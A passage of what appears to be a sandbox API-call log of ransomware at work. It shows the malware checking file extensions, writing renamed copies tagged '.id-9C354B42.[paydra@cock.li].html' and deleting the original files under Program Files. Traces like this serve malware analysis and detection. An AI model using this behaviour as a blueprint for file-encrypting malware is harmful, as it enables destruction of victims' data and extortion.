(lpString=".xlsx") returned 5 [0044.092] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0044.092] lstrlenW (lpString=".ppt") returned 4 [0044.092] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.092] lstrlenW (lpString=".zip") returned 4 [0044.092] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.092] lstrlenW (lpString=".rar") returned 4 [0044.092] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.092] lstrlenW (lpString=".bz2") returned 4 [0044.092] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.092] lstrlenW (lpString=".7z") returned 3 [0044.092] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.092] lstrlenW (lpString=".dbf") returned 4 [0044.092] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.092] lstrlenW (lpString=".1cd") returned 4 [0044.092] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0044.092] lstrlenW (lpString=".jpg") returned 4 [0044.092] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.092] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0044.092] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0044.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.093] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3981) returned 1 [0044.093] CloseHandle (hObject=0x218) returned 1 [0044.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0044.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0044.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0044.093] lstrlenW (lpString=".doc") returned 4 [0044.093] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.093] lstrlenW (lpString=".docx") returned 5 [0044.093] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0044.093] lstrlenW (lpString=".pdf") returned 4 [0044.093] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.093] lstrlenW (lpString=".xls") returned 4 [0044.093] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.093] lstrlenW (lpString=".xlsx") returned 5 [0044.093] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0044.093] lstrlenW (lpString=".ppt") returned 4 [0044.093] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0044.093] lstrlenW (lpString=".zip") returned 4 [0044.093] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.094] lstrlenW (lpString=".rar") returned 4 [0044.094] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.094] lstrlenW (lpString=".bz2") returned 4 [0044.094] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.094] lstrlenW (lpString=".7z") returned 3 [0044.094] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0044.094] lstrlenW (lpString=".dbf") returned 4 [0044.094] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.104] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.104] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.106] GetLastError () returned 0x0 [0044.106] ReadFile (in: hFile=0x218, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x621, lpOverlapped=0x0) returned 1 [0044.107] WriteFile (in: hFile=0x17c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x630, lpOverlapped=0x0) returned 1 [0044.111] ReadFile (in: hFile=0x218, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.111] WriteFile (in: hFile=0x17c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.111] SetEndOfFile (hFile=0x17c) returned 1 [0044.111] CloseHandle (hObject=0x17c) returned 1 [0044.112] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.112] SetEndOfFile (hFile=0x218) returned 1 [0044.112] CloseHandle (hObject=0x218) returned 1 [0044.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.113] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0044.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.113] lstrlenW (lpString=".doc") returned 4 [0044.113] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.113] lstrlenW (lpString=".docx") returned 5 [0044.113] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.113] lstrlenW (lpString=".pdf") returned 4 [0044.113] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.113] lstrlenW (lpString=".xls") returned 4 [0044.113] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.113] lstrlenW (lpString=".xlsx") returned 5 [0044.113] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.113] lstrlenW (lpString=".ppt") returned 4 [0044.113] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.113] lstrlenW (lpString=".zip") returned 4 [0044.113] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.113] lstrlenW (lpString=".rar") returned 4 [0044.113] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.113] lstrlenW (lpString=".bz2") returned 4 [0044.113] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.113] lstrlenW (lpString=".7z") returned 3 [0044.114] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.114] lstrlenW (lpString=".dbf") returned 4 [0044.114] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.114] lstrlenW (lpString=".1cd") returned 4 [0044.114] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.114] lstrlenW (lpString=".jpg") returned 4 [0044.114] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.114] lstrlenW (lpString=".doc") returned 4 [0044.114] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.114] lstrlenW (lpString=".docx") returned 5 [0044.114] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.114] lstrlenW (lpString=".pdf") returned 4 [0044.114] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.114] lstrlenW (lpString=".xls") returned 4 [0044.114] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.114] lstrlenW (lpString=".xlsx") returned 5 [0044.114] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.114] lstrlenW (lpString=".ppt") returned 4 [0044.114] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.114] lstrlenW (lpString=".zip") returned 4 [0044.114] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.114] lstrlenW (lpString=".rar") returned 4 [0044.114] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.114] lstrlenW (lpString=".bz2") returned 4 [0044.114] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.114] lstrlenW (lpString=".7z") returned 3 [0044.115] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.115] lstrlenW (lpString=".dbf") returned 4 [0044.115] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.115] lstrlenW (lpString=".1cd") returned 4 [0044.115] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0044.115] lstrlenW (lpString=".jpg") returned 4 [0044.115] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.115] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.115] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.250] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=25234) returned 1 [0044.250] CloseHandle (hObject=0x208) returned 1 [0044.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0044.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.250] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.250] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.251] GetLastError () returned 0x0 [0044.251] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x6292, lpOverlapped=0x0) returned 1 [0044.252] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0044.258] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.258] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.258] SetEndOfFile (hFile=0x160) returned 1 [0044.258] CloseHandle (hObject=0x160) returned 1 [0044.258] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.258] SetEndOfFile (hFile=0x208) returned 1 [0044.259] CloseHandle (hObject=0x208) returned 1 [0044.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.259] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0044.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.260] lstrlenW (lpString=".doc") returned 4 [0044.260] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.260] lstrlenW (lpString=".docx") returned 5 [0044.260] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.260] lstrlenW (lpString=".pdf") returned 4 [0044.260] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.260] lstrlenW (lpString=".xls") returned 4 [0044.260] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.260] lstrlenW (lpString=".xlsx") returned 5 [0044.260] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.260] lstrlenW (lpString=".ppt") returned 4 [0044.260] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.260] lstrlenW (lpString=".zip") returned 4 [0044.260] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.260] lstrlenW (lpString=".rar") returned 4 [0044.260] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.260] lstrlenW (lpString=".bz2") returned 4 [0044.260] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.260] lstrlenW (lpString=".7z") returned 3 [0044.260] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.260] lstrlenW (lpString=".dbf") returned 4 [0044.260] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.261] lstrlenW (lpString=".1cd") returned 4 [0044.261] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.261] lstrlenW (lpString=".jpg") returned 4 [0044.261] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.261] lstrlenW (lpString=".doc") returned 4 [0044.261] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.261] lstrlenW (lpString=".docx") returned 5 [0044.261] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.261] lstrlenW (lpString=".pdf") returned 4 [0044.261] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.261] lstrlenW (lpString=".xls") returned 4 [0044.261] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.261] lstrlenW (lpString=".xlsx") returned 5 [0044.261] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.261] lstrlenW (lpString=".ppt") returned 4 [0044.261] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.261] lstrlenW (lpString=".zip") returned 4 [0044.261] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.261] lstrlenW (lpString=".rar") returned 4 [0044.261] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.261] lstrlenW (lpString=".bz2") returned 4 [0044.261] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.261] lstrlenW (lpString=".7z") returned 3 [0044.261] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.261] lstrlenW (lpString=".dbf") returned 4 [0044.262] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.262] lstrlenW (lpString=".1cd") returned 4 [0044.262] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0044.262] lstrlenW (lpString=".jpg") returned 4 [0044.262] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.262] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.262] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.441] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=34916) returned 1 [0044.441] CloseHandle (hObject=0x20c) returned 1 [0044.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0044.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.442] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.442] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0044.443] GetLastError () returned 0x0 [0044.443] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x8864, lpOverlapped=0x0) returned 1 [0044.455] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0044.456] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.457] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.457] SetEndOfFile (hFile=0x1dc) returned 1 [0044.457] CloseHandle (hObject=0x1dc) returned 1 [0044.457] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.457] SetEndOfFile (hFile=0x20c) returned 1 [0044.458] CloseHandle (hObject=0x20c) returned 1 [0044.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.458] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0044.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.458] lstrlenW (lpString=".doc") returned 4 [0044.458] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.458] lstrlenW (lpString=".docx") returned 5 [0044.458] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.458] lstrlenW (lpString=".pdf") returned 4 [0044.459] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.459] lstrlenW (lpString=".xls") returned 4 [0044.459] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.459] lstrlenW (lpString=".xlsx") returned 5 [0044.459] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.459] lstrlenW (lpString=".ppt") returned 4 [0044.459] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.459] lstrlenW (lpString=".zip") returned 4 [0044.459] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.459] lstrlenW (lpString=".rar") returned 4 [0044.459] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.459] lstrlenW 